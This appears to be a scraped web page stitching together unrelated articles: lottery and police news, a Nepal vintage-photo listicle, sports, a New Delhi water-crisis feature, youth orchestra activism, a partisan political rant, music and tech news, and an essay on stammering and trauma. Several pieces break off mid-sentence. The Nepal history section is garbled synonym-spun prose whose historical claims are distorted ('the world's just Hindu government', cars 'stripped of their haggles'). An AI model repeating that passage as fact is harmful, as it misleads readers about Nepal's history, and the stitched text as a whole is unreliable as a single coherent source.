Sophie Simoneau, the partner of Eric Valois, said that they are still processing the news. A friend and colleague of Valois called Simoneau to inform them of their winning ticket.
“I am the wife of a millionaire now,” Simoneau said. “I didn’t believe it at all.”
The couple plans on using their winnings to pay for university tuition for children and paying off their debts.
“When we come back down to Earth we will reflect upon all that we want to do,” Simoneau said. “It is certain that for our children, their futures are assured: they will be able to go to school, to do what they want.”
Loto-Québec says the odds of winning the Lotto Max jackpot are 1 in 28,633,528 for every play.
klaframboise@montrealgazette.com
twitter.com/kaylaframboise× Police seeking information into identity of man who defecated on vehicle
CHAMBERSBURG, Pa.– Police are seeking information into the identity of a man that defecated on the side of a person’s vehicle.
On February 24 at about 11:20 a.m., surveillance video shows a white male running into the rear parking lot of 116 S. Second St.
The video shows the male running about half way through the parking lot before going between two vehicles.
During the brief time that he was there, the man pooped on the side of the victim’s vehicle before running across the alley to await a ride.
Approximately five minutes later, a Chevrolet Malibu that was possibly blue in color, drives through the parking and picks up the man.
Anyone with information regarding the identity of the actor or the operator of the vehicle is to contact Chambersburg Police.Sharing is caring!
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Find here 45 rare photos of Nepal that makes you interesting. Here we have collected dozens of pictures related to country Nepal’s history, politics, facts, profile, entertainment, nature, geography, celebrities, etc. We hope you will love these images. Have Fun and think about Nepal.
45 Rare and Vintage Photos of Nepal That Makes You to Say ‘Oh My God’
Incredible Vintage Pictures Of Nepal and the story behind them
Newars are thought to have lived in the Nepal Valley since the fourth century AD, building up a Hindu-Buddhist culture. The Gurkha realm was later settled by RAJPUT warriors from India, and in 1769 they vanquished arrives past the present-day outskirts of Nepal. After attacks into northern India in which the Gurkhas were crushed, Nepal lost piece of its domain to British India however held its autonomy and delighted in close ties with the British.It has kept up its nearby relationship with India since the last picked up freedom in 1947. Nepal, the world’s just Hindu government, was controlled by a innate prime ministership until 1951.
1.
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The country’s first decision was held in 1959, yet in 1960, King Mahendra expelled the bureau, broken down parliament, and prohibited political gatherings. A 1962 constitution made a non party panchayat (committee) arrangement of government. After a 1980 choice endorsed an altered variant of the panchayat framework, coordinate parliamentary decisions were held in 1981. A question with India prompted India’s end of most fringe intersections from March 1989 to July 1990, and the resultant financial emergency filled requests for political change. Following quite a while of viciousness, King Birendra Bir Bikram Shah Dev broke up parliament.
The resistance shaped an interval government in April 1990, and another constitution making a established government and a bicameral council wound up noticeably powerful on Nov. 9, 1990. Multiparty administrative decisions held in May 1991 were won by the anti-extremist Nepali Congress party; the Communists progressed toward becoming the main restriction party. Mid-term decisions in November 1994, which were called after the administration, lost a parliamentary vote, brought about a hung parliament and the communists, who developed as the single biggest gathering, framed a minority government. There are many old pictures that describe the history of Nepal. That vintage photo carries many importance values. They describe the life style of people at that time. Its shows the realistic piece of art that Nepalese people has flashed out at that time.
2.
Many old and historic goods are kept safely in national museum so that many people can know more about Nepal’s history and culture as well. They will know how our brave ancestors fought with rivals in order to protect our mother land. They played with blood, scarified everything that they had for the protection of mother land Nepal. Many developmental activities were also conducted during those days. Being a land locked country Nepal was a bit backward in developmental activities. But many monasteries, temples, stupas, buildings, palace for kings, schools were built which are still live and standing. They carry our historical and religious values. It makes us proud and happy as well. Many tourists also come to Nepal just to have a glance at that beautiful and lively art.
3.
There are many photos relating to these places with us. Many old photos that make the history lively and more interesting will be posted in this article. The photo of bringing the first car to Nepal is can also be observed.
45 Rare and Vintage Photos of Nepal That Push You to See Again and Again
4. How cars first arrived in Kathmandu valley of Nepal. This makes you to think. Autos would be stripped of their haggles, and many young fellows from the towns of Makwanpur were contracted to do the hard work. Just in 1957, when the Tribhuvan Highway was at long last opened, did the time of autos on human shoulders at long last arrive at an end. There are some picture in which you can see some people carrying car into their shoulders.
img src Vintage Nepal
5. First Car brought to Nepal By carrying.
How cars first arrived in Kathmandu valley of Nepal. People are carrying the car. Legend has it that the main ever auto was driven in Nepal in 1922, when Britain’s Prince Edward (later King Edward VIII) rode over the outskirt to chase tigers in Kasara of Chitwan. From that point forward, Nepal’s Rana rulers got snared to autos. They couldn’t have enough of them, yet there were no streets to Kathmandu so autos (and the petroleum to run them on) must be physically continued the mountains from Bhimphedi to Thankot by watchmen.
img src imgur.com
6. We have heart the Shrawan Kumar in the religious book of Hindus. Shravan Kumar is such a son who carries his blind mother and father like this and move around the religious site. Here in Nepal, A father is carrying doughter and son.
img src pinterest.com
7. Ason Tole of Kathmandu vallery, some decade ago
8. Sir Projwala-Nepala Taradisha Sri Tin Maharaja Sir Chandra Shamsher Jung Bahadur Rana, 5th Prime Minister of Nepal.
img src artisans-lane.com
9. Vintage postage stamp. Postal stamp of Nepal
photo by depositphotos.com
10. A vintage post. This post is related to radio program which was broadcasted by Radio Nepal, first and mother radio station in Nepal. Pharmaisi Karyakaram was one of the most popular program in that radio station. This post is send by a listener from the Gorkha district of Nepal.
photo by ebay.com
11. Original Nepali Coins Cufflinks. It is Hand Made coins. It’s amazing.
12. It’s good taste. Maybe he is saying like this. What do you think?
photo by pinterest.com
13. A beautiful girl with traditional jewelry of Nepal. Such type of jewelry is not found now. Or rarely found.
14. Hollywood Actress and Model Kate Moss when she was in Nepal March 1994. This photograph is credited to Arthur Elgort for Vogue UK,
photo by tumblr.com
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Safety Barry Church signed with the Cowboys as an undrafted free agent in 2010. He started 63 games in his seven seasons in Dallas, including 12 last season when he was voted a team captain for a team that finished 13-3.
But Church left the Cowboys in the offseason, signing a four-year, $26 million deal with the Jaguars.
In five months, Church has come to the conclusion that the Jaguars have more talent than the Cowboys. He didn’t go as far as teammates Malik Jackson and Calais Campbell in predicting a Super Bowl run for his new team, but Church obviously has faith the Jaguars can do at least as well as the Cowboys did last season.
“The culture is pretty much the same [in Jacksonville as in Dallas],” Church said in quotes distributed by the team. “We have a real close group like we did in Dallas. We have a real close group here. We had a real close group, but I was just a little bit younger when I was in Dallas. I feel like we have a lot more talent than we did over there. We just have to keep plugging away and get ready for Week 1.”
And it took Church only two training camp practices to determine the Jaguars practice harder than the Cowboys.
“It is a lot more demanding [than the Cowboys],” Church said. “A lot more periods. I think we had about 18 today. Back on my old team we probably had about 12 or something like that. Like coach said, there are a lot of new players in here. The coaching staff is trying to figure out who fits where. We need a lot of periods, and we need all that to get the chemistry down. We are just working on that and getting ready.”
The Jaguars have won a combined 11 games the past three seasons and have not made the playoffs since 2007, though they enter 2017 brimming with confidence.The combination has left water all too scarce in some places, contaminated in others and in cursed surfeit for millions who are flooded each year. Today the problems threaten India’s ability to fortify its sagging farms, sustain its economic growth and make its cities healthy and habitable. At stake is not only India’s economic ambition but its very image as the world’s largest democracy.
“If we become rich or poor as a nation, it’s because of water,” said Sunita Narain, director of the Center for Science and Environment in New Delhi.
Conflicts over water mirror the most vexing changes facing India: the competing demands of urban and rural areas, the stubborn divide between rich and poor, and the balance between the needs of a thriving economy and a fragile environment.
New Delhi’s water woes are typical of those of many Indian cities. Nationwide, the urban water distribution network is in such disrepair that no city can provide water from the public tap for more than a few hours a day.
An even bigger problem than demand is disposal. New Delhi can neither quench its thirst, nor adequately get rid of the ever bigger heaps of sewage that it produces. Some 45 percent of the population is not connected to the public sewerage system.
Those issues are amplified nationwide. More than 700 million Indians, or roughly two-thirds of the population, do not have adequate sanitation. Largely for lack of clean water, 2.1 million children under the age of 5 die each year, according to the United Nations.
The government says that 9 out of 10 Indians have access to the public water supply, but that may include sources that are going dry or are contaminated.
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The World Bank, in rare agreement with Ms. Narain, warned in a report published last October that India stood on the edge of “an era of severe water scarcity.”
“Unless dramatic changes are made — and made soon — in the way in which government manages water,” the World Bank report concluded, “India will have neither the cash to maintain and build new infrastructure, nor the water required for the economy and for people.”
The window to address the crisis is closing. Climate change is expected only to exacerbate the problems by causing extreme bouts of weather — heat, deluge or drought.
A River of Waste
The fabled Yamuna River, on whose banks this city was born more than 2,000 years ago, is a case study in the water management crisis confronting India.
In Hindu mythology, the Yamuna is considered to be a river that fell from heaven to earth. Today, it is a foul portrait of crippled infrastructure — and yet, still worshiped. From the bridges that soar across the river, the faithful toss coins and sweets, lovingly wrapped in plastic. They scatter the ashes of their dead.
In New Delhi the Yamuna itself is clinically dead.
As the Yamuna enters the capital, still relatively clean from its 246-mile descent from atop the Himalayas, the city’s public water agency, the New Delhi Jal Board, extracts 229 million gallons every day from the river, its largest single source of drinking water.
As the Yamuna leaves the city, it becomes the principal drain for New Delhi’s waste. Residents pour 950 million gallons of sewage into the river each day.
Coursing through the capital, the river becomes a noxious black thread. Clumps of raw sewage float on top. Methane gas gurgles on the surface.
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It is hardly safe for fish, let alone bathing or drinking. A government audit found last year that the level of fecal coliform, one measure of filth, in the Yamuna was 100,000 times the safe limit for bathing.
In 1992, a retired Indian Navy officer who once sailed regattas on the Yamuna took his government to the Supreme Court. The retired officer, Sureshwar D. Sinha, charged that the state had killed the Yamuna and violated his constitutional right, as a practicing Hindu, to perform ritual baths in the river.
Since then, the Supreme Court ordered the city’s water authority to treat all sewage flowing into the river and improve water quality. In 14 years, that command is still unmet.
New Delhi’s population, now 16 million, has expanded by roughly 41 percent in the last 15 years, officials estimate. As the number of people living — and defecating — in the city soars, on average more than half of the sewage they pour into the river goes untreated.
A government audit last year indicted the Jal Board for having spent $200 million and yielding “very little value.” The construction of more sewage treatment plants has done little to stanch the flow, in part because sewage lines are badly clogged and because power failures leave them inoperable for hours at a time.
“It has not improved at all because the quantity of sewage is constantly increasing,” said R. C. Trivedi, a director of the Central Pollution Control Board, which monitors the quality of the Yamuna River. “The gap is continually widening.”
Making matters worse, many New Delhi neighborhoods, like Janata Colony — Hindi for People’s Colony — are not even connected to sewage pipes. Open sewers hem the narrow lanes of the slum. Every alley carries their stench.
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Some canals are so clogged with trash and sludge that they are no more than green-black ribbons of muck. It is a mosquitoes’ paradise. Malaria and dengue fever are regular visitors.
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Not long ago, a 2-year-old boy named Arman Mustakeem fell into one such canal and drowned. His parents said they found him floating in the open sewer in front of their home.
These canals empty into a wide storm drain. It, in turn, runs through the eastern edges of the city, raking in more sewage and cascades of trash, before it merges with effluent from two sewage treatment plants, and finally, enters the Yamuna.
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Carrying the capital’s waste on its back, the Yamuna meanders south to cities like Mathura and Agra, home to the Taj Mahal. It is their principal source of drinking water, too. New Delhi’s downstream neighbors are forced to treat the water heavily, hiking up the cost.
With New Delhi slated to host the Commonwealth Games in 2010, the government proposes to remake this riverfront with a sports and recreation complex. In the meantime, the Yamuna, vital and befouled as it is, bears the weight of New Delhi’s ambitions.
At dawn each morning, men sink into the still, black waters to retrieve whatever can be bartered or sold: rings from a dead man’s finger, coins dropped by the faithful, the remnants of rubber sandals, plastic water bottles.
The dhobis, who launder clothes, line up on one stretch of riverbank, pounding saris and bedsheets on stone tablets. A man shovels sand from the river bottom: every bullock cart he fills for a cement maker will fetch him a coveted $5.50. Men and boys bathe.
“This river is worshiped,” said a bewildered Sunny Verma, 24. “Is this the right way of worshiping it?”
So shaken was Mr. Verma on his first visit to the Yamuna this year that he now works full time to shake up others. He joined an environmental group called We for Yamuna.
“If you want to worship the river, you should give it more respect,” he said. “You should treat it the right way. You should question the government. You should ask the state to actually do something for the river.”
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Deluge and Drought
Mrs. Prasher has the misfortune of living in a neighborhood on New Delhi’s poorly served southern fringe.
As the city’s water supply runs through a 5,600-mile network of battered public pipes, 25 to 40 percent leaks out. By the time it reaches her, there is hardly enough.
On average, she gets no more than 13 gallons a month from the tap and a water bill from the water board that fluctuates from $6 to $20, at its whimsy, she complains, since there is never a meter reading anyway.
That means she has to look for other sources, scrimp and scavenge to meet her family’s water needs.
She buys an additional 265 gallons from private tankers, for roughly $20 a month. On top of that she pays $2.50 toward the worker who pipes water from a private tube-well she and other residents of her apartment block have installed in the courtyard.
Nearly a fourth of New Delhi households, according to the government commissioned Delhi Human Development Report, rely at least in some part on such wells. It is one of the principal reasons groundwater in New Delhi is drying up faster than virtually anywhere in the country: 78 percent of it is considered overexploited.
Still, the new posh apartment buildings sprouting across New Delhi and its suburbs sell themselves by ensuring a 24-hour water supply — usually by drilling wells deep underground. “Imagine never being thirsty for water,” boasts a newspaper advertisement for one new development.
Warning of “an unparalleled water crisis,” the study released in August found that 25 percent of New Delhi households had no access to piped water, and that 27 percent got water for less than three hours a day. Nearly two million households, the report also found, had no toilet.
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The daily New Delhi hustle for water only adds to the strains on the public system.
A few years ago, for instance, to compensate for the low water pressure in the public pipeline, Mrs. Prasher and her neighbors began tapping directly into the public water main with so-called booster pumps, each one sucking out as much water as possible.
It was a me-first approach to a limited and unreliable public resource, and it proliferated across this me-first city, each booster pump further draining the water supply.
The situation for New Delhi, and all of India, is only expected to worsen. India now uses an estimated 829 billion cubic yards of water every year — that is more than guzzling an entire Lake Erie. But its water needs are growing by leaps. By 2050, official projections indicate, demand will more than double, and exceed the 1.4 trillion cubic yards that India has at its disposal.
Yet the most telling paradox of the city’s water crisis is that New Delhi is not entirely lacking in water. The problem is distribution, hampered by a feeble infrastructure and a lack of resources, concedes Arun Mathur, chief executive of the Jal Board.
The Jal Board estimates that consumers pay no more than 40 percent of the actual cost of water. Raising the rates is unrealistic for now, as Mr. Mathur well knows. “It would be easier to ask people to pay up more if we can make water abundantly available,” he said. A proposal to privatize water supply in some neighborhoods met with stiff opposition last year and was dropped.
So the city’s pipe network remains a punctured mess. That means, like most everything else in this country, some people have more than enough, and others too little.
The slums built higgledy-piggledy behind Mrs. Prasher’s neighborhood have no public pipes at all. The Jal Board sends tankers instead. The women here waste their days waiting for water, and its arrival sets off desperate wrestling in the streets.
Kamal Krishnan quit her job for the sake of securing her share. Five days a week, she would clean offices in the next neighborhood. Five nights a week, she would go home to find no water at home. The buckets would stand empty. Finally, her husband ordered her to quit. And wait.
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“I want to work, but I can’t,” she said glumly. “I go mad waiting for water.”
Elsewhere, in the central city, where the nation’s top politicians have their official homes, the average daily water supply is three times what finally arrives even in Mrs. Prasher’s neighborhood.
Mrs. Prasher rations her water day to day as if New Delhi were a desert. She uses the leftover water from the dog bowl to water the plants. She recycles soapy water from the laundry to mop the balcony.
And even when she gets it, the quality is another question altogether.
Her well water has turned salty as it has receded over the years. The water from the private tanker is mucky-brown. Still, Mrs. Prasher says, she can hardly afford to reject it. “Beggars can’t be choosers,” she said. “It’s water.”Imagine you’re a 16-year-old who lives in Lino Lakes and dreams of a career in classical music. The Minnesota Orchestra musicians are your heroes. But they’re locked out by management and their music director has threatened to quit. What do you do? a) Instagram a pouty selfie, b) tweet about how sad and mad you are, or c) start a student-run organization to express solidarity with the musicians, write letters to orchestra board members and elected officials, form a youth orchestra, perform at rallies and march in parades?
On May 2, 2013, students Emily Green and Grant Luhmann co-founded YMM (Young Musicians of Minnesota) “because we were tired of idly sitting by and seeing our Minnesota Orchestra musicians without jobs and without their passion, which was making music,” Green says. “We wanted to stand up and show how the lockout was not only affecting the musicians, but it was affecting the young students of Minnesota as well – the young musicians.” They started a Facebook page that drew more than 300 likes in a few hours. (Luhmann is now at Indiana University, leaving Green in charge.)
YMM members are serious music students. Many are members of Minnesota Youth Symphonies (MYS), co-directed by Minnesota Orchestra principal trumpet Manny Laureano and his wife, Claudette, and/or Greater Twin Cities Youth Symphonies (GTCYS), led by Mark Russell Smith, artistic director of orchestral studies at the University of Minnesota. Smith has conducted both the Minnesota Orchestra and the SPCO; his wife, Ellen Dinwiddie Smith, plays third horn in the Minnesota Orchestra. “Throughout the lockout,” Green says, “we were seeing a lot of our mentors and our teachers taking gigs across the country, and they were leaving us … And we didn’t have our Minnesota Orchestra, and they inspire us to keep practicing and pursue our dreams.”
Early on, video journalist Matt Peiken heard about YMM and profiled them for his classical music website MNuet.com. They met outside Ferguson Hall at the U of M, where about 65 young musicians, most wearing green “Support Minnesota Orchestra Musicians” T-shirts, had gathered for a letter-writing event. They talked about what the Minnesota Orchestra meant to them and why they wanted the lockout to end. (Peiken closed MNuet.com when he moved to Cincinnati; the video is available on YouTube.)
The students also wrote an open letter to the musicians, saying, in part: “It is my hope that our letters to you help you understand just how much you mean to us, and just how hard we will fight to bring you back to the stage and receive fair compensation for the wonders you create … And at your next concert, we will applaud the loudest, for we, the students, will be silent no more. We are the Young Musicians of Minnesota, and we stand with you. Stay strong.”
The musicians were deeply touched by the letter. Laureano remembers, “That they cared enough to actually stand up for us, at a time when we needed support from the general public, was very gratifying … I really admired these kids for being able to organize as they did, as quickly as they did, with the kind of guts they showed.” YMM came up in the musicians’ meetings during the lockout. “We were talking about how important the struggle we were facing was,” says Laureano. “I said, ‘This is not just about us … We are heroes to these kids, and we have to stay united.’”
“Their heroes were under fire, and they felt the fire, too,” says Ken Huber of Orchestrate Excellence (OX), one of two grassroots citizens’ groups that formed during the lockout. “They became very engaged in a way that is kind of unprecedented. When they saw what was happening to the musicians, they thought, ‘This could happen to me.’”
In August of 2013, when OX brought Aspen Music festival CEO Alan Fletcher to town to talk about the lockout, members of YMM performed outside Westminster Presbyterian Church as people arrived. A few weeks earlier, YMM members had played a flash mob concert on Nicollet Mall outside the headquarters of US Bank, whose CEO, Richard Davis, was leading the orchestra’s contract negotiations. Davis did not appear, but the kids made the evening news.
MinnPost photo by John Whiting
By then, YMM was also involved with Save Our Symphony Minnesota (SOSMN), the other, more vociferous grassroots citizens’ group. They had gotten in on the ground floor of SOSMN, attending organizational meetings in July. “They participated fully,” says Mariellen Jacobson, SOSMN’s chair. “I was impressed by their intelligence and their perspective on how important [the lockout] was to them personally, because it affected their teachers and their own aspirations. I was impressed by their energy and their follow-through. They weren’t like kids attending an adult meeting. They were full collaborators with us from the beginning.”
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Wearing their green T-shirts, YMM joined SOSMN at two rallies in September outside Orchestra Hall, one in protest of a private party management was holding for patrons, the other opposing the Symphony Ball and Crash the Ball events. They made signs; they played music. “They were so good at taking responsibility,” Jacobson says. “They didn’t need us to hold their hands. We didn’t have to worry about them showing up or not showing up. They just delivered.” At the Ball rally, Emily Green gave a speech before a crowd of 300.
Meanwhile, YMM had formed a summer youth symphony of 46 students and played two free concerts at Breck and MacPhail to honor and support the locked-out musicians. Conducted by YMM member and recent U of M graduate Aaron Hirsch, they were joined onstage by Minnesota Orchestra musicians Laureano, bassist Robert Anderson, violinists Pamela Arnstein, Deborah Serafini and Michael Sutton, violist Thomas Turner, and cellists Sachiva Isomura and Pitnarry Shin. During the State Fair, YMM spent a weekend with the musicians at the Labor Pavilion, forming chamber ensembles and giving nine performances over two days. On Monday – Labor Day – they walked the parade together. When the musicians gave a free concert at Lake Harriet in mid-September, YMM sold merchandise, greeted audience members, and gathered names for the musicians’ email newsletters.
On Oct. 1, Osmo Vänskä resigned. Green remembers that as YMM’s darkest day. “I know a lot of students who were at school when they heard the announcement,” she says, “and a lot of them went home or they went into the bathroom and cried. I was in a practice room at my school when I found out. I just sat there and looked at my music and said, ‘What do we do next? Where do we go?’ ” They rallied in time to perform at |
will start up again, aided by a judicious injection of Russian made memes. By refusing to acknowledge the dynamic that played out in 2016 and continues today, we're looking at a repeat with even more disastrous consequences.
If the Purity Left can't stop painting the only party that can stop the Republicans from stripping us of everything we hold dear as equally monstrous, it's up to the rest of Bernie's supporters to call them on their toxic rhetoric. That doesn't mean "no criticism" because keeping our elected officials honest(ish) is necessary, but there's a not-at-all fine line between constructive criticism and what the Purity Left is doing. They don't have to love the Democratic Party but they can't lament all of the good they've done being unraveled by Republicans while denying the Democrats have done any good at all. It's lazy and unworthy of the standards of intellectual honesty the left is supposed to hold itself to.
Bernie's wing needs to police their own or stop pretending they give a single damn about unity because the hypocrisy is getting stale and we have a fascist in the White House to deal with.
There are 425 days left to the 2018 elections.
- This article kills fascists
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The N.W.A. biopic Straight Outta Compton comes out August 14. In a new interview with Philadelphia radio station Power 99 (pointed out by Consequence of Sound), Ice Cube said that Dr. Dre is dropping a new album inspired by the film this Saturday, August 1.
"It’s mega, you know, it’s Dr. Dre, it’s what everybody been waiting for," Ice Cube said. “It’s definitely a dope record, and he’s dropping it all on the same day. It's crazy."
Earlier this month, director F. Gary Gary told MTV that Dre had enlisted Kendrick Lamar and Eminem for the film's soundtrack. It's unclear if the soundtrack and the Dre album are the same release.
In the Power 99 interview, Cube also talked about the rumored N.W.A. reunion tour. "Yeah, there's a possibility for sure," he said. "We've definitely been talking about it. It's just really about promotors coming to the table and we put together something that works for everybody. It's definitely, definitely possible.
Watch the Ice Cube interview below, along with the film's trailer. In the interview, his comments about the tour and album start at the 10-minute mark.Kim Doctom’s file-sharing site Mega has launched the public beta of its video and audio chat service MegaChat. The browser-based app features end-to-end encryption on calls, which Dotcom says gives the service a clear advantage over competitors such as Skype and Google Hangouts.
Retweet if you like to try our new, browser-based & encrypted #MegaChat beta TODAY :-) #SkypeKiller — Kim Dotcom (@KimDotcom) January 20, 2015
While it's true that the Snowden leaks suggested that the NSA essentially has free rein over Skype, Dotcom’s sites don’t have the best track record on security either. As GigaOm points out, Mega’s previous claims to offer end-to-end encryption on file-sharing when the site launched in 2013 were met with skepticism from experts, who suggested that the site's real security aims were really about achieving plausible deniability when it came to the contents of users’ online lockers.
Mega's security claims have been met with skepticism in the past
MegaChat is only in public beta at the moment though, and its security prowess is bound to be tested over the coming months. In terms of usability though, it’s doing fine. Users simply log in via Mega.nz, create a free profile, add contacts, and then click to start a video call. In calls by The Verge everything worked as advertised — albeit with limited functionality and no tests of MegaChat's encryption claims. Dotcom, however, promises that text chat and video conferencing will be added "soon" to the service and that he's also offering a bounty for any security flaws found by independent researchers. The message is: don't hang up on MegaChat just yet.Researcher Paul Brocklehurst argues that stammering and post-traumatic stress may create a vicious circle, through negative listener reactions. Accordingly he proposes some modifications to therapy and self-help approaches which suggest that people who stammer take their time and always say what they want without substituting words, saying that for people who stammer severely this may not always be the right approach.
If you were to ask a selection of people who stammer how their stammering first came about, it is likely that a proportion of them will attribute its onset to a psychologically traumatic event such as a death in the family; the arrival of a sibling; or having to speak in front of the school class. Although such attributions sound superficially plausible, in recent years they have tended to be discounted; because, despite researchers’ best efforts, there is a lack of any strong reliable evidence to support them.
As a researcher myself, I have never been convinced that this lack of reliable evidence for a causal link between stammering and trauma constitutes a valid reason to dismiss such a possibility. After all, the lack may well simply reflect the fact that this is a difficult area to research, and it is noteworthy that there is an equal lack of reliable evidence that there is not a causal link between stammering and trauma. So, until such evidence can be produced either way, this remains an open question. I also think that the current focus on the importance of genetic factors in the onset of stammering may have contributed to a tendency for researchers and clinicians to underestimate the importance of life-events in its onset. Whatever the case, the existence in the world of many pairs of identical twins where only one of the two twins stammers (Bloodstein & Bernstein Ratner, 2008; Ooki, 2005), despite the fact that identical twins share identical genes1, supports the theory that only a predisposition to stammering is usually inherited, and whether or not that predisposition then manifests as stammering, and whether or not that stammering then persists almost certainly depends on environmental factors – in other words, on things that have happened to us during our lives. And trauma may sometimes be one of those things.
Whether or not that predisposition manifests as stammering, and whether or not that stammering persists almost certainly depends on environmental factors, which may sometimes include trauma.
Researchers are more likely to search in the right places for evidence of a causal relationship between stammering and trauma if they already have a plausible explanation for why such a relationship is likely to exist. So in this essay I shall try to provide such an explanation. To do so, I will focus on two questions: (1) “Is it possible that post-traumatic stress can play a causal role in the onset and/or persistence of stammering?” And (2) “Is it possible that experiences of stammering can lead to post-traumatic stress responses?” I will argue that the answer to both of these questions is “Yes”.
I will also discuss why, from a theoretical perspective, severe stammering is more likely to lead to post-traumatic stress than mild stammering, and how post-traumatic stress may then play a role in the persistence of stammering.
Finally, I will discuss some implications for therapy and self-help that arise in cases where stammering and post-traumatic stress do indeed co-exist.
Post-traumatic stress and stammering
What is post-traumatic stress?
Essentially, post-traumatic stress is a stress response that recurs when a person is reminded of a previous traumatic event. By “stress response”, I mean a physiological response that, from an evolutionary perspective, may have helped our ancestors to escape from and survive life-threatening events. Such responses include “flight” “fight” and “freeze” responses. Flight and fight responses may involve, amongst other things, release of adrenaline, increase in heart-rate, and an increased blood supply to the muscles of the arms and legs. In contrast, Freeze response may result in vasoconstriction (narrowing of blood vessels), greatly reduced heart rate, cessation of breathing, and temporary full-body paralysis – all of which contribute to making the person appear dead – which may be especially useful in life-threatening situations where flight or fight responses would be of no avail.
It’s important to distinguish between “post-traumatic stress” and “Post-Traumatic Stress Disorder” (PTSD)… as they are not the same thing. Although not a pleasant experience, post-traumatic stress is, in itself, a natural and healthy reaction to life threatening events. It can help us to remember, recognise and to successfully avoid or escape from future similar dangerous or life-threatening situations. Consequently, it serves to increase our overall chances of survival. It only becomes a “disorder” in cases where its symptoms become overwhelming and unhelpful such that their net effect is to reduce our ability to cope with day to day life.
Might post-traumatic stress lead to stammered speech?
Is it possible that post-traumatic stress responses may lead to the production of stammered disfluencies?
When someone is experiencing traumatic stress, and their body goes into fight/flight (or freeze) mode, blood is diverted away from the parts of the brain responsible for language and speech production, and consequently, their capacity to formulate language and to initiate speech is significantly reduced (Porges, 2011). At such times, initiation of speech is more difficult, and any speech that is produced is likely to be more error-prone and more clumsy than normal. Also, the tone of the speaker’s voice is likely to be adversely affected, due to stress-related changes in muscle tension in the vocal folds (Perkins, Kent, & Curlee, 1991). Individuals whose speech and language abilities are less developed or less stable (such as children, especially those with a family history of stammering or other related disorders) are particularly likely to be affected in these ways. If, when experiencing such difficulties, a speaker then starts to use force in order to speak, he is at increased risk of producing symptoms of stammering (Bloodstein, 1975; Brocklehurst, Lickley, & Corley, 2013). And if this happens on a regular basis, then it could quite plausibly contribute to the tendency for such symptoms to persist.
Blood is diverted away from the parts of the brain responsible for language and speech production.
Might stammering experiences lead to post-traumatic stress?
Is it possible that experiences associated with stammering can lead to the production of post-traumatic stress responses?
Generally speaking, when we think of the sort of experiences likely to result in post-traumatic stress, we tend to think of extreme, life-threatening events; and one might presume that experiences of stammering, even severe stammering, are just not that serious. However, a key issue here that we need to remember is that stammering – and in particular, severe stammering – frequently leads to communication failure. This is especially significant because humans are social animals, and the ability to successfully communicate is one of the key skills that we need in order to integrate socially and hence also to survive and thrive. Consequently, experiences that suggest to us that we are failing to communicate successfully are indeed likely to be highly traumatic, because such experiences are likely to lead to social rejection, which historically at least would have put our survival at risk.
Stammering – and in particular, severe stammering – frequently leads to communication failure. This is especially significant because humans are social animals.
I would suggest that, initially at least, it’s not the stammering itself, but rather it is the negative reactions of the people that we try to speak to that are likely to traumatise us. In addition to signalling to us that we are being misunderstood, such reactions may also signal to us that we are being perceived in a negative light - as unintelligent, mentally unstable, or not telling the truth. If you have a severe stammer, it is likely that you will experience such negative listener reactions and associated social rejection on a daily basis. Indeed, perhaps it is because such negative listener reactions often do happen on a daily basis that we may be inclined to under-estimate how traumatising they can be.
In addition to all of this, for people who stammer severely, a further traumatic, stress-inducing experience of stammering is that of time pressure. Essentially, we feel time pressure in many situations, because we know from experience that there is a limited window of opportunity in which to speak, and if it takes us too long to get our words out, we are likely to miss that window of opportunity and fail to get our message across. For people who stammer severely, running out of time is likely to be an everyday experience; as are experiences of people putting the phone down on you; people becoming impatient or getting annoyed (because they are in a hurry); and people losing interest and ceasing to listen. Severe stammerers can often vividly recall such experiences, even many years later.
A vicious circle
If traumatic stress can lead to stammering, and stammering can lead to traumatic stress, then we have the ingredients necessary for the development of a vicious circle. I find this really interesting, because one of the properties of vicious circles is that they are self-sustaining. Consequently, if this sort of vicious circle does become established, it could help explain why a stammer is likely to continue to persist quite irrespective of whether or not the factors that originally caused it still exist.
So, having accumulated many experiences of negative listener reactions when speaking, we may find ourselves unable to speak fluently because every time we enter a speaking situation, we produce a post-traumatic stress response that deactivates our speech and language production system.
Empirical evidence?
So much for the theory; but is there any empirical evidence that trauma can lead to stammering and/or its persistence?
The short answer to this question is that there is some evidence, but it is not very reliable.
There are a lot of published case-studies describing late-onset stammering following trauma. However, most of these studies are of cases where there was also some physical trauma as well, such as traumatic brain injury (e.g. Bijleveld, 2015). So it’s impossible to be certain to what extent the traumatic memory played a role independent of the physical damage.
Similarly, many people who stammer recount stories of how their stammering started when they were a child, after a (psychologically) traumatic experience. Unfortunately, however, it is impossible to know to what extent such traumatic experiences really played a role in the onset of their stammering, as it is quite possible that the two events are unrelated despite their proximity. Human beings have a natural tendency to ascribe causal relationships to major events that happen in close succession, even when no causal relationship exists (Buehner, 2014). Nevertheless, one early traumatic memory that people who stammer frequently associate with the onset of their stammering is of having to speak/read aloud in front of the class. The consistent regularity of such self-reports among people who stammer does suggest to me that traumatic memories associated with this type of experience may well contribute to the onset of stammering, in older children who are already at risk of stammering, in as much as they are genetically (or otherwise) predisposed to the condition, and/or to the persistence of stammering in children who already show symptoms of stammering.
One early traumatic memory that people frequently associate with the onset of their stammering is of having to speak/read aloud in front of the class.
Some implications for therapy and self-help
In recent years there has been a marked shift in the approach of speech therapy for stammering away from traditional fluency-shaping approaches and towards approaches embedded in the social model of disability. Key features of this new approach are an emphasis on the need for society to adapt and accommodate stammering, and a tendency for therapy to focus more on self-esteem issues than on promoting greater fluency.
Although, overall, I think this shift has been beneficial to the majority of people who stammer, I perceive that it has not been so beneficial to people whose stammering is severe and whose speech-rate is substantially slower than that of their interlocutors, and for whom time pressure and negative listener reactions may be a major source of traumatic stress. Consequently I cannot help but question the usefulness for people whose stammering is severe of some current assumptions that are widely held (both by speech therapists as well as by members of the stammering self-help community).
This shift in the approach has not been so beneficial to people whose stammering is severe.
Is it really always OK to take our time?
One such assumption is that it’s always OK to take our time. The problem with this assumption is that there are many situations in everyday life where a certain speed is necessary. Occasionally we are faced with emergencies where fast communication is essential in order to save lives; and frequently we are faced with more mundane situations where speed is necessary in order to avoid incurring the wrath of other people.
